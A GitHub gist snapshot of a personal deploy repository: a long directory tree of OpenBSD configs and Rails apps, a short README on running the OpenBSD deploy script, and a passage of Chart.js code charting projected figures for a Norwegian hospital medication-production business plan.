Skip to content

Instantly share code, notes, and snippets.

@anon987654321
Created June 4, 2026 06:23
Show Gist options
  • Select an option

  • Save anon987654321/4a9d2a9b86afa548794489d4b9c83d44 to your computer and use it in GitHub Desktop.

Select an option

Save anon987654321/4a9d2a9b86afa548794489d4b9c83d44 to your computer and use it in GitHub Desktop.
DEPLOY snapshot 2026-06-04

DEPLOY Snapshot — 2026-06-04T06:23:09Z

Tree

README.md
bin/
bp/
  01_syre_footwear.js
  04_pub_healthcare.js
  IMPLEMENTATION_SUMMARY.md
  README.md
  govt_bergen.js
  htu/
  mg_footwear.yml
  mg_space.yml
  norwegianhedge.js
  ragnhild.js
  speis.js
  syre.js
burst.rb
dilla/
  README.md
  dilla.rb
  dilla_analog.rb
  dilla_hiphop.rb
  electronium.rb
  make.rb
  master.rb
  stems/
    manifest.json
  techno_hate.rb
dilla.rb
master.json
nmap.rb
openbsd/
  README.md
  _net.sh
  backup_priv.sh
  etc/
    acme-client.conf
    doas.conf
    httpd.conf
    login.conf
    mail/
      smtpd.conf
    pf.conf
    pf.stage1.conf
    rc.d/
    relayd.conf
  openbsd.sh
  sync.rb
  usr/
    local/
      bin/
        renew-certs.sh
postpro/
  postpro.rb
quarantine/
  virus_museum/
    README.md
    pklog.sh.txt
    pouncekeys_setup.zsh.txt
rails/
  ARCHITECTURE_NOTES.md
  LIVE_SEARCH_STANDARD.md
  PRODUCTION_READINESS.md
  README.md
  amber/
    ARCHITECTURE.md
    Gemfile
    README.md
    STIMULUS_ROLLOUT.md
    amber.sh
    app/
      assets/
        builds/
        stylesheets/
      channels/
        application_cable/
          connection.rb
      controllers/
        ai_controller.rb
        application_controller.rb
        concerns/
          authentication.rb
        declutter_controller.rb
        follows_controller.rb
        home_controller.rb
        items_controller.rb
        outfits_controller.rb
        passwords_controller.rb
        planned_outfits_controller.rb
        posts_controller.rb
        registrations_controller.rb
        sessions_controller.rb
        users_controller.rb
        wardrobe_items_controller.rb
      helpers/
        application_helper.rb
      javascript/
        application.js
        controllers/
          animated_number_controller.js
          application.js
          application_controller.js
          auto_submit_controller.js
          character_counter_controller.js
          clipboard_controller.js
          dialog_controller.js
          dropdown_controller.js
          filter_controller.js
          hello_controller.js
          index.js
          notification_controller.js
          sortable_controller.js
          textarea_autogrow_controller.js
          timeago_controller.js
          wardrobe_carousel_controller.js
      jobs/
        calculate_sustainability_job.rb
        embed_garment_job.rb
        recommend_outfits_job.rb
        remove_background_job.rb
        segment_garment_image_job.rb
        wardrobe_media_job.rb
      mailers/
        passwords_mailer.rb
      models/
        affiliate_link.rb
        consent_event.rb
        creator_profile.rb
        creator_wardrobe_item.rb
        current.rb
        declutter_challenge.rb
        declutter_outcome.rb
        declutter_review.rb
        follow.rb
        garment_embedding.rb
        identity_verification.rb
        item.rb
        outfit.rb
        outfit_item.rb
        packing_list.rb
        packing_list_item.rb
        planned_outfit.rb
        post.rb
        privacy_setting.rb
        profile.rb
        recommendation.rb
        session.rb
        style_preference.rb
        style_profile.rb
        sustainability_metric.rb
        user.rb
        wardrobe_item.rb
        wear_log.rb
      reflexes/
        application_reflex.rb
      services/
        capsule_builder_service.rb
        declutter_action_router.rb
        declutter_dashboard_service.rb
        declutter_score_service.rb
        duplicate_detector_service.rb
        garment_taxonomy.rb
        last_chance_outfit_service.rb
        outfit_compatibility_service.rb
        outfit_ordering.rb
        wardrobe_ai_service.rb
        wardrobe_gap_service.rb
        wardrobe_visibility_policy.rb
        weather_service.rb
      views/
        ai/
          _analysis.html.erb
          _item_tags.html.erb
          capsule.html.erb
          color_palette.html.erb
          declutter_guide.html.erb
          mood_board.html.erb
          occasion_map.html.erb
          packing_list.html.erb
          search.html.erb
          style_profile.html.erb
          suggest_outfits.html.erb
        declutter/
          index.html.erb
          review.html.erb
        home/
          index.html.erb
        items/
          _form.html.erb
          _item.html.erb
          edit.html.erb
          index.html.erb
          new.html.erb
          shopping_list.html.erb
          show.html.erb
        layouts/
          application.html.erb
          mailer.html.erb
          mailer.text.erb
        outfits/
          _form.html.erb
          _outfit.html.erb
          dressing_room.html.erb
          edit.html.erb
          index.html.erb
          new.html.erb
          show.html.erb
        passwords/
          edit.html.erb
          new.html.erb
        passwords_mailer/
          reset.html.erb
          reset.text.erb
        planned_outfits/
          index.html.erb
        posts/
          _post.html.erb
          feed.html.erb
          index.html.erb
          new.html.erb
          show.html.erb
        pwa/
          manifest.json.erb
          service-worker.js
        registrations/
          new.html.erb
        sessions/
          new.html.erb
        shared/
          _errors.html.erb
          _flash.html.erb
          _logo.html.erb
          _pagination.html.erb
        users/
          show.html.erb
        wardrobe_items/
          _form.html.erb
          edit.html.erb
          index.html.erb
          new.html.erb
    bin/
    config/
      application.rb
      cable.yml
      cache.yml
      database.yml
      deploy.yml
      environments/
        production.rb
      falcon.rb
      importmap.rb
      initializers/
        requires.rb
      puma.rb
      queue.yml
      recurring.yml
      routes.rb
    db/
      cable_schema.rb
      cache_schema.rb
      migrate/
        20260504180350_create_users.rb
        20260504180352_create_sessions.rb
        20260504180357_create_active_storage_tables.active_storage.rb
        20260504180401_create_items.rb
        20260504180405_create_outfit_items.rb
        20260504180406_create_planned_outfits.rb
        20260504180410_add_extended_fields_to_items.rb
        20260504205505_create_outfits.rb
        20260504211952_create_follows.rb
        20260504212306_create_posts.rb
        20260515000100_add_amber_identity_and_intelligence.rb
        20260515000200_add_declutter_logic.rb
      queue_schema.rb
      schema.rb
      seeds.rb
    test/
      deploy/
        amber_script_test.rb
      models/
        item_test.rb
      services/
        wardrobe_ai_service_test.rb
      test_helper.rb
  apps.yml
  baibl/
    Gemfile
    README.md
    app/
      assets/
        stylesheets/
      controllers/
        application_controller.rb
        bookmarks_controller.rb
        concerns/
          authentication.rb
        highlights_controller.rb
        passwords_controller.rb
        scriptures_controller.rb
        sessions_controller.rb
      javascript/
        application.js
        controllers/
          animated_number_controller.js
          application.js
          application_controller.js
          auto_submit_controller.js
          character_counter_controller.js
          clipboard_controller.js
          dialog_controller.js
          dropdown_controller.js
          hello_controller.js
          index.js
          notification_controller.js
          sortable_controller.js
          textarea_autogrow_controller.js
          timeago_controller.js
          word_study_controller.js
      jobs/
        analysis_job.rb
      models/
        annotation.rb
        book.rb
        bookmark.rb
        chapter.rb
        cross_reference.rb
        current.rb
        highlight.rb
        reading_plan.rb
        reading_plan_day.rb
        session.rb
        user.rb
        verse.rb
        word_study.rb
      reflexes/
        application_reflex.rb
      services/
        scripture_search.rb
      views/
        bookmarks/
          index.html.erb
        highlights/
          create.turbo_stream.erb
          destroy.turbo_stream.erb
        layouts/
          application.html.erb
          mailer.html.erb
          mailer.text.erb
        passwords/
          edit.html.erb
          new.html.erb
        pwa/
          manifest.json.erb
          service-worker.js
        scriptures/
          _word_study.html.erb
          book.html.erb
          chapter.html.erb
          index.html.erb
          search.html.erb
        sessions/
          new.html.erb
    baibl.sh
    bin/
    config/
      application.rb
      cable.yml
      database.yml
      deploy.yml
      environments/
        production.rb
      importmap.rb
      puma.rb
      routes.rb
    db/
      migrate/
        20260501020807_create_users.rb
        20260501020818_create_sessions.rb
        20260507120001_create_books.rb
        20260507120002_create_chapters.rb
        20260507120003_create_verses.rb
        20260507120004_create_highlights.rb
        20260507120005_create_bookmarks.rb
        20260507120006_create_reading_plans.rb
        20260507120007_create_reading_plan_days.rb
        20260507120008_create_cross_references.rb
        20260507120009_create_word_studies.rb
        20260528000100_create_verses_fts.rb
      seeds.rb
  blognet/
    Gemfile
    README.md
    app/
      assets/
        stylesheets/
      channels/
        application_cable/
          connection.rb
      controllers/
        application_controller.rb
        blogs_controller.rb
        comments_controller.rb
        concerns/
          authentication.rb
        passwords_controller.rb
        posts_controller.rb
        sessions_controller.rb
      javascript/
        application.js
        controllers/
          animated_number_controller.js
          application.js
          application_controller.js
          auto_submit_controller.js
          character_counter_controller.js
          clipboard_controller.js
          dialog_controller.js
          dropdown_controller.js
          hello_controller.js
          index.js
          notification_controller.js
          sortable_controller.js
          textarea_autogrow_controller.js
          timeago_controller.js
      mailers/
        passwords_mailer.rb
      models/
        blog.rb
        categorization.rb
        category.rb
        comment.rb
        current.rb
        post.rb
        session.rb
        tag.rb
        tagging.rb
        user.rb
      reflexes/
        application_reflex.rb
      views/
        active_storage/
          blobs/
            _blob.html.erb
        blogs/
          _form.html.erb
          edit.html.erb
          index.html.erb
          new.html.erb
          show.html.erb
        comments/
          _comment.html.erb
        layouts/
          action_text/
            contents/
              _content.html.erb
          application.html.erb
          mailer.html.erb
          mailer.text.erb
        passwords/
          edit.html.erb
          new.html.erb
        passwords_mailer/
          reset.html.erb
          reset.text.erb
        posts/
          _form.html.erb
          edit.html.erb
          index.html.erb
          new.html.erb
          show.html.erb
        pwa/
          manifest.json.erb
          service-worker.js
        sessions/
          new.html.erb
    bin/
    blognet.sh
    config/
      application.rb
      cable.yml
      cache.yml
      database.yml
      deploy.yml
      environments/
        production.rb
      importmap.rb
      puma.rb
      queue.yml
      recurring.yml
      routes.rb
    db/
      cable_schema.rb
      cache_schema.rb
      migrate/
        20260501020807_create_users.rb
        20260501020818_create_sessions.rb
        20260501020848_create_active_storage_tables.active_storage.rb
        20260501020920_create_action_text_tables.action_text.rb
        20260507120001_create_blogs.rb
        20260507120002_create_posts.rb
        20260507120003_create_categories.rb
        20260507120004_create_categorizations.rb
        20260507120005_create_comments.rb
        20260507120006_create_tags.rb
        20260507120007_create_taggings.rb
      queue_schema.rb
      schema.rb
      seeds.rb
  brgen/
    Gemfile
    README.md
    STIMULUS_ROLLOUT.md
    app/
      assets/
        stylesheets/
      channels/
        application_cable/
          channel.rb
          connection.rb
      controllers/
        activity_events_controller.rb
        application_controller.rb
        comments_controller.rb
        communities_controller.rb
        concerns/
          authentication.rb
        conversations_controller.rb
        dating/
          base_controller.rb
          dislikes_controller.rb
          home_controller.rb
          likes_controller.rb
          matches_controller.rb
          profiles_controller.rb
        email_subscriptions_controller.rb
        follows_controller.rb
        home_controller.rb
        locations_controller.rb
        maps/
          base_controller.rb
          home_controller.rb
          places_controller.rb
        marketplace/
          base_controller.rb
          carts_controller.rb
          categories_controller.rb
          deals_controller.rb
          favorites_controller.rb
          listings_controller.rb
          orders_controller.rb
          saved_searches_controller.rb
          stores_controller.rb
        messages_controller.rb
        nearby_controller.rb
        notifications_controller.rb
        passwords_controller.rb
        playlist/
          audio_versions_controller.rb
          base_controller.rb
          collaborations_controller.rb
          dilla_sketches_controller.rb
          hosted_tracks_controller.rb
          listens_controller.rb
          playlists_controller.rb
          sets_controller.rb
          timestamped_comments_controller.rb
          tracks_controller.rb
        playlist_controller.rb
        posts_controller.rb
        push_subscriptions_controller.rb
        reactions_controller.rb
        reports_controller.rb
        sessions_controller.rb
        takeaway/
          base_controller.rb
          delivery_drivers_controller.rb
          favorite_restaurants_controller.rb
          menu_items_controller.rb
          orders_controller.rb
          restaurants_controller.rb
          reviews_controller.rb
        tv/
          base_controller.rb
          channels_controller.rb
          comments_controller.rb
          home_controller.rb
          live_streams_controller.rb
          stream_chats_controller.rb
          video_notes_controller.rb
          videos_controller.rb
        typing_indicators_controller.rb
        votes_controller.rb
      javascript/
        application.js
        controllers/
          animated_number_controller.js
          application.js
          application_controller.js
          auto_submit_controller.js
          character_counter_controller.js
          clipboard_controller.js
          dialog_controller.js
          dropdown_controller.js
          futurism_load_more_controller.js
          geolocation_controller.js
          hello_controller.js
          index.js
          lightbox_controller.js
          media_picker_controller.js
          notification_controller.js
          push_controller.js
          share_controller.js
          sortable_controller.js
          textarea_autogrow_controller.js
          timeago_controller.js
          typing_controller.js
          typing_input_controller.js
      jobs/
        notification_delivery_job.rb
        postpro_job.rb
      mailers/
        email_subscription_mailer.rb
        newsletter_mailer.rb
        passwords_mailer.rb
      models/
        account_merge.rb
        activity_event.rb
        city.rb
        comment.rb
        community.rb
        concerns/
          commentable.rb
          mentionable.rb
          pushable.rb
          taggable.rb
          votable.rb
        conversation.rb
        conversation_participant.rb
        current.rb
        dating/
          dislike.rb
          like.rb
          match.rb
          profile.rb
        dating.rb
        email_subscription.rb
        external_identity.rb
        follow.rb
        hashtag.rb
        identity_assurance.rb
        identity_provider.rb
        marketplace/
          category.rb
          deal.rb
          listing.rb
          listing_favorite.rb
          order.rb
          saved_search.rb
          store.rb
        marketplace.rb
        mention.rb
        message.rb
        message_receipt.rb
        moderation_flag.rb
        moderation_report.rb
        neighborhood.rb
        notification.rb
        place.rb
        playlist/
          audio_version.rb
          collaboration.rb
          dilla_sketch.rb
          like.rb
          listen.rb
          playlist.rb
          playlist_track.rb
          set.rb
          set_track.rb
          timestamped_comment.rb
          track.rb
        playlist.rb
        post.rb
        push_subscription.rb
        reaction.rb
        reputation_score.rb
        session.rb
        stream.rb
        tagging.rb
        takeaway/
          delivery_driver.rb
          favorite_restaurant.rb
          menu_item.rb
          order.rb
          order_item.rb
          restaurant.rb
          review.rb
        takeaway.rb
        trust_signal.rb
        tv/
          broadcast.rb
          channel.rb
          comment.rb
          live_stream.rb
          stream_chat.rb
          subscription.rb
          video.rb
          video_note.rb
          view_event.rb
        tv.rb
        typing_indicator.rb
        user.rb
        vote.rb
      reflexes/
        application_reflex.rb
        paginate_reflex.rb
        vote_reflex.rb
      services/
        account_merge_service.rb
        activity_event_recorder.rb
        dating/
          matchmaking_service.rb
        follow_toggle.rb
        identity_assurance_service.rb
        reaction_toggle.rb
        scrape.rb
        thread_summarizer.rb
        tradedoubler.rb
        trust_score_calculator.rb
      views/
        activity_events/
          index.html.erb
        comments/
          _comment.html.erb
        communities/
          index.html.erb
          new.html.erb
          show.html.erb
        conversations/
          index.html.erb
          show.html.erb
        dating/
          home/
            index.html.erb
          matches/
            index.html.erb
          profiles/
            edit.html.erb
            new.html.erb
            show.html.erb
        email_subscription_mailer/
          confirm.html.erb
          confirm.text.erb
        follows/
          create.turbo_stream.erb
        home/
          index.html.erb
        layouts/
          application.html.erb
          mailer.html.erb
          mailer.text.erb
        maps/
          home/
            index.html.erb
        marketplace/
          carts/
            show.html.erb
          categories/
            show.html.erb
          deals/
            index.html.erb
            show.html.erb
          listings/
            _card.html.erb
            edit.html.erb
            index.html.erb
            new.html.erb
            show.html.erb
          saved_searches/
            index.html.erb
          stores/
            _form.html.erb
            index.html.erb
            new.html.erb
            show.html.erb
        messages/
          _message.html.erb
          create.turbo_stream.erb
          new.html.erb
        nearby/
          _alert.html.erb
          index.html.erb
        newsletter_mailer/
          weekly_deals.html.erb
        notifications/
          _notification.html.erb
          index.html.erb
          read_all.turbo_stream.erb
          update.turbo_stream.erb
        passwords/
          edit.html.erb
          new.html.erb
        passwords_mailer/
          reset.html.erb
          reset.text.erb
        playlist/
          index.html.erb
          playlists/
            edit.html.erb
            index.html.erb
            new.html.erb
            show.html.erb
          sets/
            _form.html.erb
            edit.html.erb
            index.html.erb
            new.html.erb
            show.html.erb
        posts/
          _post.html.erb
          edit.html.erb
          index.html.erb
          new.html.erb
          show.html.erb
        pwa/
          manifest.json.erb
          service-worker.js
        reactions/
          create.turbo_stream.erb
        reports/
          create.turbo_stream.erb
        sessions/
          new.html.erb
        shared/
          _affiliate_deals.html.erb
          _email_subscribe.html.erb
          _follow_button.html.erb
          _media_gallery.html.erb
          _reaction_bar.html.erb
          _report_button.html.erb
          _vote.html.erb
        takeaway/
          delivery_drivers/
            index.html.erb
            show.html.erb
          orders/
            index.html.erb
            new.html.erb
            show.html.erb
          restaurants/
            edit.html.erb
            index.html.erb
            new.html.erb
            show.html.erb
        tv/
          channels/
            edit.html.erb
            index.html.erb
            new.html.erb
            show.html.erb
          home/
            index.html.erb
          live_streams/
            index.html.erb
            new.html.erb
            show.html.erb
          videos/
            _tv_video.html.erb
            new.html.erb
            show.html.erb
        typing_indicators/
          _indicator.html.erb
        votes/
          create.turbo_stream.erb
    bin/
    brgen.sh
    brgen_AUTH.md
    brgen_CORE.md
    brgen_DOMAIN_MATRIX.md
    config/
      application.rb
      cable.yml
      cache.yml
      database.yml
      deploy.yml
      environments/
        production.rb
      falcon.rb
      importmap.rb
      puma.rb
      queue.yml
      recurring.yml
      routes.rb
    db/
      cable_schema.rb
      cache_schema.rb
      migrate/
        20260311162114_create_users.rb
        20260311162121_create_sessions.rb
        20260311162206_create_communities.rb
        20260311162227_create_reactions.rb
        20260311162235_create_streams.rb
        20260311162345_create_posts.rb
        20260311162350_create_comments.rb
        20260311162355_add_fields_to_users.rb
        20260311163039_create_votes.rb
        20260311163634_create_follows.rb
        20260311163641_create_hashtags.rb
        20260311163648_create_taggings.rb
        20260311163655_create_mentions.rb
        20260311164112_create_conversations.rb
        20260311164119_create_conversation_participants.rb
        20260311164127_create_messages.rb
        20260311164134_create_message_receipts.rb
        20260311164141_create_typing_indicators.rb
        20260311165000_add_guest_to_users.rb
        20260311221744_add_user_description_to_communities.rb
        20260505002649_create_tv_channels.rb
        20260505002659_create_tv_videos.rb
        20260505002711_create_tv_broadcasts.rb
        20260505002719_create_tv_subscriptions.rb
        20260505002729_create_tv_view_events.rb
        20260505014447_create_dating_profiles.rb
        20260505014452_create_dating_likes.rb
        20260505014457_create_dating_dislikes.rb
        20260505014503_create_dating_matches.rb
        20260505015400_create_playlist_playlists.rb
        20260505015406_create_playlist_tracks.rb
        20260505015411_create_playlist_playlist_tracks.rb
        20260505015416_create_playlist_listens.rb
        20260505015440_create_takeaway_restaurants.rb
        20260505015446_create_takeaway_menu_items.rb
        20260505015451_create_takeaway_orders.rb
        20260505015456_create_takeaway_order_items.rb
        20260505015518_create_marketplace_categories.rb
        20260505015523_create_marketplace_listings.rb
        20260505015530_create_marketplace_orders.rb
        20260514120000_create_identity_and_trust_primitives.rb
        20260514121000_create_locality_primitives.rb
        20260517142629_add_location_to_users.rb
        20260517144635_create_push_subscriptions.rb
        20260517150650_create_active_storage_tables.rb
        20260517155314_create_email_subscriptions.rb
        20260524001000_create_brgen_restored_subapp_tables.rb
        20260524001300_create_marketplace_stores.rb
        20260524001400_create_marketplace_deals.rb
        20260524103100_create_marketplace_listing_favorites.rb
        20260524103200_create_tv_comments.rb
        20260524104000_create_activity_events.rb
        20260524104100_create_marketplace_saved_searches.rb
        20260524104200_create_notifications.rb
        20260524104300_create_moderation_reports.rb
        20260524104500_create_takeaway_favorite_restaurants.rb
        20260524113000_create_brgen_social_tables.rb
        20260528000100_create_posts_fts.rb
        20260528000200_create_playlist_set_tracks.rb
        20260528000300_add_delivery_driver_to_takeaway_orders.rb
        20260529000000_add_marketing_consent_to_email_subscriptions.rb
        20260602123000_create_takeaway_reviews.rb
        20260602140000_add_collaborative_to_playlist_playlists.rb
        20260602150000_add_neighborhood_to_dating_profiles.rb
        20260602160000_create_playlist_dilla_sketches.rb
        20260602170000_add_thread_summary_to_comments.rb
      queue_schema.rb
      schema.rb
      seeds.rb
    domains.yml
    lib/
      brgen/
        city_seed.rb
        domain_registry.rb
        seed_cities.rb
      tasks/
    public/
      fonts/
      images/
    test/
      test_helper.rb
  bsdports/
    Gemfile
    README.md
    STIMULUS_ROLLOUT.md
    app/
      assets/
        images/
        stylesheets/
      controllers/
        application_controller.rb
        categories_controller.rb
        comments_controller.rb
        concerns/
          authentication.rb
        maintainers_controller.rb
        passwords_controller.rb
        ports_controller.rb
        sessions_controller.rb
      javascript/
        application.js
        controllers/
          animated_number_controller.js
          application.js
          application_controller.js
          auto_submit_controller.js
          character_counter_controller.js
          clipboard_controller.js
          dialog_controller.js
          dropdown_controller.js
          hello_controller.js
          index.js
          notification_controller.js
          sortable_controller.js
          textarea_autogrow_controller.js
          timeago_controller.js
      jobs/
        ports_import_job.rb
      models/
        category.rb
        comment.rb
        current.rb
        dependency.rb
        installation.rb
        maintainer.rb
        port.rb
        port_update.rb
        review.rb
        security_advisory.rb
        session.rb
        user.rb
        watch.rb
      reflexes/
        application_reflex.rb
      services/
        nvd_cve_service.rb
        ports_search.rb
      views/
        categories/
          index.html.erb
          show.html.erb
        comments/
          _comment.html.erb
        layouts/
          application.html.erb
          mailer.html.erb
          mailer.text.erb
        maintainers/
          index.html.erb
          show.html.erb
        passwords/
          edit.html.erb
          new.html.erb
        ports/
          index.html.erb
          show.html.erb
        pwa/
          manifest.json.erb
          service-worker.js
        sessions/
          new.html.erb
    bin/
    bsdports.sh
    config/
      application.rb
      cable.yml
      database.yml
      deploy.yml
      environments/
        production.rb
      importmap.rb
      puma.rb
      routes.rb
    db/
      migrate/
        20260501020807_create_users.rb
        20260501020818_create_sessions.rb
        20260507120001_create_categories.rb
        20260507120002_create_ports.rb
        20260507120003_create_dependencies.rb
        20260507120004_create_port_updates.rb
        20260507120005_create_watches.rb
        20260507120006_create_comments.rb
        20260528000100_create_ports_fts.rb
        20260602123000_create_security_advisories.rb
        20260603123000_create_maintainers.rb
        20260603123001_add_maintainer_to_ports.rb
      seeds.rb
    lib/
      tasks/
  check_ports.sh
  check_production_gate.rb
  hjerterom/
    Gemfile
    README.md
    app/
      assets/
        stylesheets/
      controllers/
        application_controller.rb
        boxes_controller.rb
        community_controller.rb
        concerns/
          authentication.rb
        donations_controller.rb
        food_listings_controller.rb
        food_requests_controller.rb
        home_controller.rb
        passwords_controller.rb
        resources_controller.rb
        sessions_controller.rb
        shifts_controller.rb
        volunteers_controller.rb
      javascript/
        application.js
        controllers/
          animated_number_controller.js
          application.js
          application_controller.js
          auto_submit_controller.js
          character_counter_controller.js
          clipboard_controller.js
          dialog_controller.js
          dropdown_controller.js
          hello_controller.js
          index.js
          notification_controller.js
          sortable_controller.js
          textarea_autogrow_controller.js
          timeago_controller.js
        hjerterom_map.js
      models/
        beneficiary.rb
        box.rb
        category.rb
        comment.rb
        crisis.rb
        current.rb
        donation.rb
        donor.rb
        food_item.rb
        food_listing.rb
        food_request.rb
        post.rb
        resource.rb
        session.rb
        shift.rb
        support_request.rb
        user.rb
        volunteer.rb
      reflexes/
        application_reflex.rb
      views/
        boxes/
          _box.html.erb
          _form.html.erb
          create.turbo_stream.erb
          edit.html.erb
          index.html.erb
          new.html.erb
          show.html.erb
          update.turbo_stream.erb
        community/
          index.html.erb
          new.html.erb
          show.html.erb
        donations/
          _form.html.erb
          edit.html.erb
          index.html.erb
          new.html.erb
          show.html.erb
        food_listings/
          _form.html.erb
          edit.html.erb
          index.html.erb
          new.html.erb
          show.html.erb
        food_requests/
          update.turbo_stream.erb
        home/
          index.html.erb
        layouts/
          application.html.erb
          mailer.html.erb
          mailer.text.erb
        passwords/
          edit.html.erb
          new.html.erb
        pwa/
          manifest.json.erb
          service-worker.js
        resources/
          _form.html.erb
          edit.html.erb
          index.html.erb
          new.html.erb
          show.html.erb
        sessions/
          new.html.erb
        shared/
          _logo.html.erb
        shifts/
          _form.html.erb
          _shift.html.erb
          create.turbo_stream.erb
          index.html.erb
          update.turbo_stream.erb
        volunteers/
          _form.html.erb
          _volunteer.html.erb
          _volunteer_details.html.erb
          create.turbo_stream.erb
          edit.html.erb
          index.html.erb
          new.html.erb
          show.html.erb
          update.turbo_stream.erb
    bin/
    config/
      application.rb
      cable.yml
      database.yml
      deploy.yml
      environments/
        production.rb
      importmap.rb
      puma.rb
      routes.rb
    db/
      migrate/
        20260501020807_create_users.rb
        20260501020818_create_sessions.rb
        20260507120001_create_categories.rb
        20260507120002_create_resources.rb
        20260507120003_create_crises.rb
        20260507120004_create_food_listings.rb
        20260507120005_create_food_requests.rb
        20260507120006_create_posts.rb
        20260507120007_create_comments.rb
        20260507120008_create_support_requests.rb
        20260524000100_create_hjerterom_core.rb
      seeds.rb
    hjerterom.sh
  marketplace/
    app/
      controllers/
        marketplace/
          listings_controller.rb
      views/
        marketplace/
          listings/
            index.html.erb
  shared/
    Rakefile
    WIRING_NOTES.md
    app/
      controllers/
        concerns/
          shared/
            actor_identity.rb
            live_searchable.rb
            media_guard.rb
            structured_events.rb
        shared/
          notifications_controller.rb
          reactions_controller.rb
          review_cases_controller.rb
      helpers/
        application_helper.rb
        schema_helper.rb
      jobs/
        application_job.rb
        shared/
          media_processing_job.rb
      mailers/
        application_mailer.rb
      models/
        application_record.rb
        concerns/
          shared/
            followable.rb
            reactable.rb
        shared/
          chat_message.rb
          follow.rb
          notification.rb
          post.rb
          reaction.rb
          review_case.rb
      services/
        shared/
          event_emitter.rb
          frontend_auditor.rb
          frontend_rule_set.rb
          live_search.rb
          reaction_toggle.rb
      views/
        shared/
          _copyable.html.erb
          _futurism_pagy_list.html.erb
          _minimal_ui.html.erb
    bin/
    config/
      boot.rb
      bundler-audit.yml
      ci.rb
      environment.rb
      environments/
        development.rb
        test.rb
      initializers/
        assets.rb
        content_security_policy.rb
        filter_parameter_logging.rb
        inflections.rb
        pagy.rb
        ruby_llm.rb
      locales/
        en.yml
      storage.yml
    db/
      migrate/
        20260524000200_create_shared_social_tables.rb
    deploy/
      @shared_functions.sh
    frontend/
      LLM_SAFE_FRONTEND_RULES.md
      STIMULUS_COMPONENTS_BASELINE.md
      examples.html.erb
      layouts/
        _flash.html.erb
        _footer.html.erb
        _meta.html.erb
        _nav.html.erb
        application.html.erb
        visualizer.js
      minimal-gesture.js
      stimulus_components.js
    install_frontend_baseline.sh
    public/
      robots.txt
      styles/
  test_check_ports.sh
repligen.rb
sh/
  backup.sh
  clean.sh
  deploy_all.sh
  fix_passwords.zsh
  free_up_space.sh
  lint.sh
  open_in_vim.zsh
  perms.sh
  replace.sh
  restore_backups.sh
  tools/
    apartments.rb
    convert_python.rb
    key_bindings.zsh
    tree.rb
    vulcheck.rb
  tree.sh
  watch_tests.sh
stipple.rb
verify_deploy_identity.rb

README.md

# DEPLOY

Deploy scripts for all pub4 services on OpenBSD 7.8.

## Layout

DEPLOY/ openbsd/ Full VPS stack (pf, relayd, httpd, smtpd, nsd, masterweb) rails/ Rails app deploy scripts per project


## OpenBSD

Two-stage deploy — run from tmux:

```zsh
tmux new-session -d -s deploy "doas zsh DEPLOY/openbsd/openbsd.sh 2>&1 | tee /tmp/deploy.log"

Stage 1: DNS checks, TLS certs (acme-client), pkg_add. Stage 2: app installs, relayd config, rc.d services.

Resume interrupted run: doas zsh openbsd.sh --resume

Rails

Each subdirectory contains a deploy script for one app:

rails/
  amber/       amber.sh
  baibl/       baibl.sh
  blognet/     blognet.sh
  brgen/       brgen*.sh
  bsdports/    bsdports.sh
  hjerterom/   hjerterom.sh
  privcam/     privcam.sh
  __shared/    Common utilities and feature modules

## `bp/01_syre_footwear.js`
```javascript
// Initialize Chart.js charts here

bp/04_pub_healthcare.js

// Chart.js visualizations for ECharts-style data presentation

    // 1. Medication Production Timeline (24-hour cycle)
    const timelineCtx = document.getElementById('timelineChart');
    if (timelineCtx) {

      new Chart(timelineCtx, {

        type: 'bar',
        data: {

          labels: ['Prescription\n\nReceived', 'AI Recipe\n\nOptimization', 'Synthesis\n\nExecution', 'Quality\n\nControl', 'Packaging\n\n& Dispensing'],

          datasets: [{

            label: 'Hours',

            data: [0.5, 2, 18, 2.5, 1],

            backgroundColor: '#DA7756',

            borderColor: '#C15F3C',

            borderWidth: 1

          }]

        },

        options: {

          responsive: true,

          plugins: {

            legend: { display: false },

            title: {

              display: true,

              text: 'From Prescription to Production: 24 Hours',

              font: { size: 16, family: 'Source Serif 4' }

            }

          },

          scales: {

            y: {

              beginAtZero: true,

              title: { display: true, text: 'Hours' }

            }

          }

        }

      });

    }

    // 2. Norwegian Hospital Network Deployment

    const deploymentCtx = document.getElementById('deploymentChart');

    if (deploymentCtx) {

      new Chart(deploymentCtx, {

        type: 'line',
        data: {

          labels: ['Q1\n\nYear 1', 'Q2\n\nYear 1', 'Q3\n\nYear 1', 'Q4\n\nYear 1', 'Q1\n\nYear 2', 'Q2\n\nYear 2', 'Q3\n\nYear 2', 'Q4\n\nYear 2', 'Q1\n\nYear 3', 'Q2\n\nYear 3', 'Q3\n\nYear 3', 'Q4\n\nYear 3'],

          datasets: [{

            label: 'Cumulative Installations',

            data: [1, 2, 3, 3, 8, 12, 18, 25, 40, 60, 75, 90],

            backgroundColor: 'rgba(218, 119, 86, 0.2)',

            borderColor: '#DA7756',

            borderWidth: 2,

            fill: true,

            tension: 0.4

          }]

        },

        options: {

          responsive: true,

          plugins: {

            legend: { display: true },

            title: {

              display: true,

              text: '55 Hospital Installations Over 3 Years',

              font: { size: 16, family: 'Source Serif 4' }

            }

          },

          scales: {

            y: {

              beginAtZero: true,

              title: { display: true, text: 'Installations' }

            }

          }

        }

      });

    }

    // 3. Cost Reduction Curve

    const costCtx = document.getElementById('costChart');

    if (costCtx) {

      new Chart(costCtx, {

        type: 'line',
        data: {

          labels: ['Year 1\n\nPilot', 'Year 2\n\nScale', 'Year 3\n\nOptimize', 'Year 4\n\nMature'],

          datasets: [{

            label: 'Cost per Dose (NOK)',

            data: [150, 85, 35, 30],

            backgroundColor: 'rgba(193, 95, 60, 0.2)',

            borderColor: '#C15F3C',

            borderWidth: 2,

            fill: true,

            tension: 0.4

          }]

        },

        options: {

          responsive: true,

          plugins: {

            legend: { display: true },

            title: {

              display: true,

              text: '77% Cost Reduction Through Automation',

              font: { size: 16, family: 'Source Serif 4' }

            }

          },

          scales: {

            y: {

              beginAtZero: true,

              title: { display: true, text: 'NOK per Dose' }

            }

          }

        }

      });

    }

    // 4. Social Impact Dashboard

    const impactCtx = document.getElementById('impactChart');

    if (impactCtx) {

      new Chart(impactCtx, {

        type: 'bar',
        data: {

          labels: ['Nordland', 'Troms', 'Finnmark', 'Møre og\n\nRomsdal', 'Sogn og\n\nFjordane', 'Oppland', 'Hedmark'],

          datasets: [{

            label: 'Patients Served',

            data: [15000, 12000, 8000, 18000, 14000, 11000, 10000],

            backgroundColor: '#DA7756',

            borderColor: '#C15F3C',

            borderWidth: 1

          }]

        },

        options: {

          responsive: true,

          plugins: {

            legend: { display: true },

            title: {

              display: true,

